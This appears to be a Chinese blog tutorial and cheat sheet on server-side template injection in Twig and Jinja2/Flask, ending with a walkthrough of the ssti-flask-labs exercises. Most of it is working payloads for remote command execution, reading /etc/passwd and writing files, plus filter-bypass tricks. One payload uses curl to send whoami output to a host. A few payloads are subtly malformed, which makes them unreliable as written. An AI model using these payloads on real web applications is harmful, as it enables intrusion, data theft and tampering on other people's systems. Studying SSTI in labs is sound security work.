Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

模板引擎

模板引擎,是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

SSTI(模版注入)

SSTI 就是服务器端模板注入,漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句

举个栗子

正常模块代码

1
2
3
4
5
6
7
<?php
require_once '../Twig-1.35.3/lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
echo $output;
?>

render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板

使用 Twig 模版引擎渲染页面,其中模版含有 变量,其模版变量值来自于GET请求参数$_GET[“name”]

137

存在SSTI漏洞

1
2
3
4
5
6
7
<?php
require_once '../Twig-1.35.3/lib/Twig/Autoloader.php'; //
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}");
echo $output;
?>

渲染模板内容直接受用户控制,服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出

136

因此常以{{5*5}}等检测是否存在SSTI漏洞

这里在贴个图,常用于判断模板引擎类型

140

常见类

  • _dict__:保存类实例或对象实例的属性变量键值对字典
  • __class__:返回调用的参数类型
  • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 寻找基类
  • __bases__:返回类型列表 寻找基类
  • __subclasses__:返回object的子类
  • __init__:类的初始化方法
  • __globals__:函数会以字典类型返回当前位置的全部全局变量

Python中的SSTI

Jinja2

Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 块

Jinja2使用 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 模板同样支持控制语句

1
{%……%}

另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。

模板渲染函数

Flask提供了两个模板渲染函数 render_template()和render_template_string()

render_template()

render_template()函数第一个参数为渲染目标的html页面,第二个参数为需要加载到页面指定标签位置的内容

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask
from flask import request, render_template
app = Flask(__name__)
@app.route('/')
def test_ssti():
name="test"
if request.args.get('name'):
name = request.args.get('name')
return render_template("index.html", name=name)
if __name__ == "__main__":
app.run(debug=True)
1
<h1>Hello {{ name }}!</h1>

通过变量取值的方式传入参数,无论name的值如何,都被当作字符串进行处理而不是模板语句,因此无法造成模版注入

render_template_string()

render_template_string()函数作用与前者类似,区别在于第一参数并非文件名而是字符串

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask
from flask import request, render_template_string
app = Flask(__name__)
@app.route('/')
def test_ssti():
name="test"
if request.args.get('name'):
name = request.args.get('name')
template = '<h1>Hello %s!</h1>'
return render_template_string(template, name=name)
if __name__ == "__main__":
app.run(debug=True)

无需创建index.html文件,将html代码直接写入字符串,然后使用该函数渲染该字符串中的html代码到网页中,而这恰好可以构成ssti,通过%s的形式获取而非变脸取值获取,导致可以使用恶意模板语句注入到模板,模板解析过程中执行该注入语句,从而实现ssti

解题思路

一般先通过__class__获取字典对象所属的类,再通过__base__(__bases[0]__)获取基类,然后使用,__subclasses__()获取子类列表,在子类列表中直接寻找可以利用的类进行getshell

网页中利用类需要使用该类的下标序号,如引用 file对象读取文件

1
2
3
4
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('joker.txt').readlines()

也通过jinja2的命令控制语句进行构造

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %} 
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

使用dir可以查看file这个子类的内置方法:

1
dir(().__class__.__bases__[0].__subclasses__()[40])

也可以使用__globals__去查看每个类所调用的东西(包括模块,类和变量等)

1
2
3
4
5
6
7
8
9
search = 'os'   #也可以是其他你想利用的模块
num = -1
for i in {}.__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

常用注入模块

查找命令执行的类,列如os._wrap_close

这里可以通过脚本去遍历,查找模块在父类的子类中的序号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = ' '
for i in range(0, 500):
post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '] }}'}
try:
post传参,或根据实际情况使用get
res = requests.post(url, data=data)
if res.status_code == 200:
# 引号中为需查找的模块名,需自定义
if 'os._wrap_close' in res.text:
print(i)
except:
pass

通过使用类中的popen,system方法,进行命令执行

先初始化这个类

1
{{"".__class__.__base__.__subclasses__()[133].__init__}}

再调用文件属性

1
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__))}}

这里会查询到一个字典,我们调用popen函数

1
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__)['gogen'])}}

调用函数后输入命令语句并读取

1
{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('ls /').read()}}
1
2
3
4
5
6
7
8
9
10
11
#寻找函数脚本:
import json
search ='popen' #在类中寻找popen函数
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try :
if search in i.__init__.__globals__.keys():
print(i,num)
except:
pass

os模块

寻找 importlib 类,这个类可以利用load_module 导入os模块

或者通过寻找linecache函数导入os模块

1
{{().__class__.__bases__[0].__subclasses__()[197].__init__.__globals__['linecache']['os'].popen('dir').read()}}

寻找 subprocess.Popen,直接使用popan函数进行命令执行

1
{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

寻找eval导入os模块

1
2
3
4
5
6
for i in range(500):
url = "http://node5.anna.nssctf.cn:28026/level/1"
data={"code":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
res = requests.get(url=url, data=data)
if 'eval' in res.text:
print(i)
1
{{().__class__.__bases__[0].__subclasses__()[499].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
1
2
3
4
5
6
7
8
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize 这些都是带有 eval的模块

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表,可以直接代替ls使用

文件读取

<class ‘frozen_importlib_external.FiieLoader’>,即文件读取模块,可以读取文件内容:

1
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('E:/passwd').read()

这里贴一下各种payload:

popen的参数就是要执行的命令

1
2
3
4
5
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
基础payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#命令执行
##调用os的popen执行命令
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}

#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于属于基类,所以要两次 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
一些绕waf的姿势:

过滤[

1
2
3
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

1
2
3
4
5
6
7
8
#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤下划线

1
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤花括号

1
2
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?=`whoami`').read()=='p' %}1{% endif %}

这里加个大佬的url里面有大部分绕过方法

SSTI之细说jinja2的常用构造及利用思路 - 知乎 (zhihu.com)

SSTI漏洞利用及绕过总结(绕过姿势多样)-CSDN博客

payload主要形式:

1
2
3
4
5
6
一种是获取os来执行命令
{{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

一种是得到__builtins__利用eval来执行命令
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['__import__']('os').popen('cat flag').read()}}
#或者是其他可以得到__builtins__的关键字。

在此基础上加上各种姿势

过滤器join

1
2
3
4
5
6
7
假设关键字class被过滤

{{ ().__class__}}

使用过滤器join和dict()绕过,payload:

{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}

ssti-flask-labs

LEVEL 1

无过滤

1
{{' '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()}}

LEVEL 2

过滤花括号

利用控制语句进行构造

1
{% print '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()%}

控制语句需添加执行命令

LEVEL 3

无过滤,无回显

LEVEL 4

过滤[]

利用__getitem__()代替索引中的[]

使用__getattribute__或者点. 代替魔术方法中的[]

1
{{().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('cat /app/flag').read()}}

LEVEL 5

过滤 ’ ” 单双引号

利用request对象绕过

request存在两种形式,request.args和request,values,GET和POST传递的数据都可以被接受

1
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__[request.values.v1](request.values.v2).read()}}

141

chr绕过

找到chr函数的位置

1
{{().__class__.__mro__[-1].__subclasses__()[ $0$].__init__.__globals__.__builtins__.chr}}

导入chr函数

1
{% set chr=().__class__.__base__.__subclasses__()[139].__init__.__globals__.__builtins__.chr%}

利用chr()函数构造索引

1
{{().__class__.__base__.__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

chr绕过

LEVEL 6

过滤了 _

可以利用加密进行绕过或者request对象绕过

unicode绕过

1
{{''['\u005f\u005fclass\u005f\u005f']['\u005f\u005fbase\u005f\u005f']['\u005f\u005fsubclasses\u005f\u005f']()[133]['\u005f\u005finit\u005f\u005f']['\u005f\u005fglobals\u005f\u005f']['popen']('cat /app/flag').read()}}

LEVEL 7

过滤了 .

中括号[]和 |attr() 进行绕过

|attr()为jinja2原生函数,是一个过滤器,他只查找属性获取并返回对象属性的值

1
{{''['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('cat /app/flag')|attr('read')()}}

LEVEL 8

关键词过滤

字符串拼接绕过

1
{{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[133]['__in'+'it__']['__glo'+'bals__']['pop'+'en']('cat /app/flag').read()}}

单双引号绕过

1
{{''['__cla''ss__']['__ba''se__']['__subcl''asses__']()[133]['__in''it__']['__glo''bals__']['pop''en']('cat /app/flag').read()}}

编码绕过

base64编码
1
{{''['X19jbGFzc19f=='.decode('base64')]['X19iYXNlX18=='.decode('base64')]['X19zdWJjbGFzc2VzX18=='.decode('base64')]()[133]['X19pbml0X18=='.decode('base64')]['X19nbG9iYWxzX18=='.decode('base64')]['cG9wZW4=='.decode('base64')]('cat /app/flag').read()}}

(这里base被过滤了这个方法用不了)

Unicode编码绕过,16进制编码绕过,8进制编码绕过

当system 和popen 被过滤时可以直接使用open方式发开文件

LEVEL 9

数字过滤

1
{%set a='aaaaaaaaaaaaa'|length*'aaaaaaaaaa'|length+'aaa'|length%}{{' '.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('cat /app/flag').read()}}

通过对a进行计算赋值代替数字

LEVEL 10

有时候flag会放在config文件(配置文件)中或者需要调用config文件中的模块时,需要config但会被过滤,这里就需要绕过config过滤(其过滤方法不是直接对单词进行过滤,而是进行赋值,如本道题config=None)

1
{{config}}

142

这个时候就需要用到下面两种方法

1
2
{{ url_for.__globals__['current_app'].config }}
{{ get_flashed_messages.__globals__['current_app'].config }}

混合过滤

LEVEL 11

过滤 ‘ “ 单双引号,+加号,request,. 点和[]中括号

1
{{' '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}
1
2
3
4
5
6
7
8
9
10
{%set a=dict(__cla=a,ss__=b)|join%}
{%set b=dict(__ba=a,se__=b)|join%}
{%set c=dict(__subcla=a,sses__=b)|join%}
{%set d=dict(__in=a,it__=b)|join%}
{%set e=dict(__glo=a,bals__=b)|join%}
{%set f=dict(po=a,pen=b)|join%}
{%set g=dict(who=a,ami=b)|join%}
{%set h=dict(__get=a,item__=b)|join%}
{%set j=dict(re=a,ad=b)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(h)(133)|attr(d)|attr(e)|attr(h)(f)(g)|attr(j)()}}
1
2
{%set a=dict(__cla=a,ss__=b)|join%}{%set b=dict(__ba=a,se__=b)|join%}{%set c=dict(__subcla=a,sses__=b)|join%}{%set d=dict(__in=a,it__=b)|join%}{%set e=dict(__glo=a,bals__=b)|join%}{%set f=dict(po=a,pen=b)|join%}{%set g=dict(who=a,ami=b)|join%}{%set h=dict(__get=a,item__=b)|join%}{%set j=dict(re=a,ad=b)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(h)(133)|attr(d)|attr(e)|attr(h)(f)(g)|attr(j)()}}
//这里 "/"我试的时候好像没法通过attr构造,所以查询时不直接用cat /app/flag,而是切换到其目录下在进行查询 cd app;cat flag这样可以避免"/"的使用

LEVEL 12

过滤了 _ 下划线 . 点 数字 \ 反斜杠 ‘ “ 单双引号 []中括号

1
{{lipsum|string|list}}      //将lipsum变量转换成字符串并将其拆分成一个字符列表

通过这个列表查看我们需要的字符

1
Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '8', 'a', 'e', 'b', '8', '9', '7', 'b', '8', '0', '>']

这里先以获取 _ 举个例子,_ 下标为18

1
{{(lipsum|string|list)|attr('pop')(18)}}

但这里单引号被过滤了,所以我们需要先构造一个pop字符串

1
2
{% set pop=dict(pop=a)|join %} 
{% a=(lipsum|string|list)|attr(pop)(18)%} //这里即将 "_"赋值给了a
1
2
3
4
5
6
7
8
9
10
11
12
13
{%set one=dict(aaaaaaaaaaaaa=a)|join|length*dict(aaaaaaaaaa=b)|join|length+dict(aaa=c)|join|length%}
{%set t=dict(aaaaaa=a)|join|length*dict(aaa=b)|join|length%}
{%set pop=dict(pop=a)|join %}
{%set x=(lipsum|string|list)|attr(pop)(t)%}
{%set a=(x,x,dict(cla=a,ss=b)|join,x,x)|join%}
{%set b=(x,x,dict(ba=a,se=b)|join,x,x)|join%}
{%set c=(x,x,dict(subcla=a,sses=b)|join,x,x)|join%}
{%set d=(x,x,dict(in=a,it=b)|join,x,x)|join%}
{%set e=(x,x,dict(glo=a,bals=b)|join,x,x)|join%}
{%set f=dict(po=a,pen=b)|join%}
{%set g=dict(who=a,ami=b)|join%}
{%set h=(x,x,dict(get=a,item=b)|join,x,x)|join%}
{%set j=dict(re=a,ad=b)|join%}
1
{%set one=dict(aaaaaaaaaaaaa=a)|join|length*dict(aaaaaaaaaa=b)|join|length+dict(aaa=c)|join|length%}{%set t=dict(aaaaaa=a)|join|length*dict(aaa=b)|join|length%}{%set pop=dict(pop=a)|join %}{%set x=(lipsum|string|list)|attr(pop)(t)%}{%set a=(x,x,dict(cla=a,ss=b)|join,x,x)|join%}{%set b=(x,x,dict(ba=a,se=b)|join,x,x)|join%}{%set c=(x,x,dict(subcla=a,sses=b)|join,x,x)|join%}{%set d=(x,x,dict(in=a,it=b)|join,x,x)|join%}{%set e=(x,x,dict(glo=a,bals=b)|join,x,x)|join%}{%set f=dict(po=a,pen=b)|join%}{%set g=dict(who=a,ami=b)|join%}{%set h=(x,x,dict(get=a,item=b)|join,x,x)|join%}{%set j=dict(re=a,ad=b)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(h)(one)|attr(d)|attr(e)|attr(h)(f)(g)|attr(j)()}}

LEVEL 13

在LEVEL 12基础上减少过滤数字,增加过滤关键词和加号

1
{%set one=dict(aaaaaaaaaaaaaa=a)|join|length*dict(aaaaaaaaaa=b)|join|length-dict(aaaaaaa=c)|join|length%}{%set t=dict(aaaaaa=a)|join|length*dict(aaa=b)|join|length%}{%set pop=dict(pop=a)|join %}{%set x=(lipsum|string|list)|attr(pop)(t)%}{%set a=(x,x,dict(cla=a,ss=b)|join,x,x)|join%}{%set b=(x,x,dict(ba=a,se=b)|join,x,x)|join%}{%set c=(x,x,dict(subcla=a,sses=b)|join,x,x)|join%}{%set d=(x,x,dict(in=a,it=b)|join,x,x)|join%}{%set e=(x,x,dict(glo=a,bals=b)|join,x,x)|join%}{%set f=dict(po=a,pen=b)|join%}{%set g=dict(who=a,ami=b)|join%}{%set h=(x,x,dict(get=a,item=b)|join,x,x)|join%}{%set j=dict(re=a,ad=b)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(h)(one)|attr(d)|attr(e)|attr(h)(f)(g)|attr(j)()}}

评论